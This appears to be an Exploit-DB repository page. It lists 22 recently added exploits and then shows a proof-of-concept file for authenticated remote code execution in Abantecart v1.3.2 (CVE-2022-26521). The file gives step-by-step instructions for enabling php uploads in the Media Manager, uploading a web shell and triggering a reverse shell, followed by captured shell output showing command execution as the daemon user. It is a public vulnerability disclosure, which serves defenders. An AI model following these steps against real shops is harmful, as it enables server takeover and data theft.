79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
28 lines
No EOL
1.3 KiB
Text
28 lines
No EOL
1.3 KiB
Text
# Exploit Title: Abantecart v1.3.2 - Authenticated Remote Code Execution
|
|
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
|
|
# Date: 3rd Mar'2022
|
|
# CVE ID: CVE-2022-26521
|
|
# Confirmed on release 1.3.2
|
|
# Vendor: https://www.abantecart.com/download
|
|
|
|
###############################################
|
|
#Step1- Login with Admin Credentials
|
|
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
|
|
Goto Catalog=>Media Manager=>Images=>Edit=> Add php in Allowed file extensions
|
|
#Step3- Now Goto Add Media=>Add Resource=> Upload php web shell
|
|
#Step4- Copy the Resource URL location and execute it in the browser e.g. :
|
|
Visit //IP_ADDR/resources/image/18/7a/4.php (Remove the //) and get the reverse shell:
|
|
|
|
listening on [any] 4477 ...
|
|
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 34532
|
|
Linux debian 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
|
|
11:17:51 up 2:15, 1 user, load average: 1.91, 1.93, 1.52
|
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|
bitnami tty1 - 09:05 1:05m 0.20s 0.01s -bash
|
|
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|
/bin/sh: 0: can't access tty; job control turned off
|
|
$ whoami
|
|
daemon
|
|
$ id
|
|
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|
$ |